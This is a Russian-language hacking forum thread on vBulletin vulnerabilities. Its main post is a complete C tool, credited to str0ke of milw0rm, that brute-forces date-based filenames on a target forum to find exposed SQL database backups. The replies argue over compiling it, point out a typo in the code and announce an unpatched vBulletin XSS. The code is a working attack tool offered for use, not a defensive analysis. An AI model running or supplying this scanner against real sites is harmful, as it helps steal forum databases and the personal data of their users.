• XSS.stack #1 – первый литературный журнал от юзеров форума

Уязвимости: vBulletin

Kluivert

CD-диск
Пользователь
Регистрация
22.08.2005
Сообщения
12
Реакции
0
vBulletin <= 3.0.8 Accessible Database Backup Searcher
Needed to pentest a few vBulletin forums so I wrote this junk real quick.
Reference: http://securitytracker.com/alerts/2005/Aug/1014805.html
Good paths: /forum/ / /forum/archive/ /forum/cpadmin/

Код:
/*
* Needed to pentest a few vBulletin forums so I wrote this junk real quick.
* Reference: http://securitytracker.com/alerts/2005/Aug/1014805.html
* Good paths: /forum/ / /forum/archive/ /forum/cpadmin/
* /str0ke ! milw0rm.com
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#define SERVER_PORT 80
usage(char *name){
printf("vBulletin <= 3.0.8 Accessible Database Backup Searcher /str0ke ! milw0rm.com\n");
rintf("usage: %s -h hostname/ip -p /path/ \n",name);
exit(0);
}
char *getdate(int b){
static char datestring[40];
time_t ttt;
      int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%m-%d-%Y", localtime(&ttt));
printf("Searching: forumbackup-%s.sql\n", datestring);
return(datestring);
}
char *getdate2(int b){
      static char datestring[40];
      time_t ttt;
      int minustime;
      minustime=86400 * b;
      ttt=time(NULL)- minustime;
      strftime (datestring, sizeof(datestring), "%Y-%d-%m", localtime(&ttt));
      printf("Searching: forumbackup-%s.sql\n", datestring);
      return(datestring);
}
char *getdate3(int b){
      static char datestring[40];
      time_t ttt;
      int minustime;
      minustime=86400 * b;
      ttt=time(NULL)- minustime;
      strftime (datestring, sizeof(datestring), "%d-%m-%Y", localtime(&ttt));
      printf("Searching: forumbackup-%s.sql\n", datestring);
      return(datestring);
}
main(int argc, char *argv[]) {
char buffer[1000],host[255],path[255],dog[255],c;
int sd, rc, i=0, d=0, b;
struct sockaddr_in localAddr, servAddr;
struct hostent *h;
if ( argc < 5) {
usage(argv[0]);
}
//m00 m00 ty /str0ke
char *http =
       "Accept: */*\r\n"
       "Accept-Language: en-us,en;q=0.5\r\n"
       "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
       "User-Agent: we want your backups - milw0rm\r\n"
       "Connection: close\r\n\r\n";
while ((c = getopt (argc, argv, "h:p:")) != EOF)
     switch(c)
     {
             case 'h':
                     strncpy(host,optarg,sizeof(host));
                     break;
             case 'p':
                     strncpy(path,optarg,sizeof(path));
                     break;
     }
h = gethostbyname(host);

if(h==NULL) {
 printf("Unknown Host '%s'\n",host);
 exit(1);
}
printf("Trying To Connect To [%s]\n",host);
while(1){
servAddr.sin_family = h->h_addrtype;
memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
servAddr.sin_port = htons(SERVER_PORT);
sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd<0) {
 perror("Can Not Open The Socket\n");
 exit(1);
}
localAddr.sin_family = AF_INET;
localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
localAddr.sin_port = htons(0);
rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));

if(rc<0) {
 printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT);
 perror("error ");
 exit(1);
}
rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
if(rc<0) {
 perror("cannot connect\n");
 exit(1);
}
 memset(buffer,0,sizeof(buffer));
 if ( d == 0 ) {
 snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate(i),host,http);
 } else if ( d == 1 ) {
 snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate2(i),host,http);
 } else if ( d == 2 ) {
 snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate3(i),host,http);
 }
 rc = send(sd,buffer, strlen(buffer), 0);
 memset(buffer,0,sizeof(buffer));
while(1)
     {
     rc=recv(sd,buffer,sizeof(buffer),0);
     if(strstr(buffer,"404")) break;
     if(strstr(buffer,"200 OK"))
             {
     if ( d == 0 ) {
             printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate(i));
     }
     if ( d == 1 ) {
             printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate2(i));
     }
     if ( d == 2 ) {
             printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate3(i));
     }
             exit(0);
             }
     memset(buffer,0,sizeof(buffer));
     }
close(sd);
if ( d < 2 ) {
d++;
} else {
d=0;
      i++;
}
}
}
 
А может ктонить это сделать и закинуть на форум?
Вот почему сплойты часто выкладывают с "защитой от дурака".
alyoxa
Тебе надо, ты и компилируй.
 
alyoxa, хочешь чтобы тебе посоветовали? вот я дам тебе совет, иди на либ. ру качай литературу по перлу и пхп, ставь себе на комп апача, пхп, перл, мускул, и форум какой нить и тренируйся, учись...
на античате есть подробное видео, как установиться все это счастье...

А матом ругаться есть ноу гуд :rtfm:
 
Маринка, будь так добра, отправь мне на burny@tut.by, dll'ку cygwin1.dll и по возможности все инклюды, то нет у меня апрельского ДВД !!!!! Без cygwin'а живу, а с инета ломает качать, дохера весит !!! :bang:
Буду благодарен !!!!
 
Да ты прям Хакером родился да??
ты некогда не наченал да? [мат] ненавижу когда начинаете умничать
Ты конечно извини, но по моему каждому понятно что если все брать готовым то ничему не научишься :rolleyes: :)
 
Ты конечно извини, но по моему каждому понятно что если все брать готовым то ничему не научишься

да но ты ему это можеш обьяснить в одном ответе на 3-4 строки а он сам это будет пару дней искать и учить если по середине не забросит и всерамно в конце он выучит тоже чтоб ты ему обьяснил здесь
 
Товарищи, самый простой выход из сложившейся ситтуации - вытащить сам баг из сплойта и просто его подставлять. Кто-нибудь может описать алгоритм действий сплойта?
 
Я програмирование незнаю но мне кажется что здесь ошибка

printf("vBulletin <= 3.0.8 Accessible Database Backup Searcher /str0ke ! milw0rm.com\n");
rintf("usage: %s -h hostname/ip -p /path/ \n",name);

rintf("usage:

наверно вместо rintf должно быть printf
 
XSS in vBulletin 3.0.7
vbulletin3_logo_white.gif

Свежая XSS на vBulletin обнаружена White Jordan'ом. Бага имеет место быть из-за недостаточной фильтрации вложенных тегов.

Суть баги смотрим здесь

Бага есть во всех бордах этого двига и баг пока что не залатали официально.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх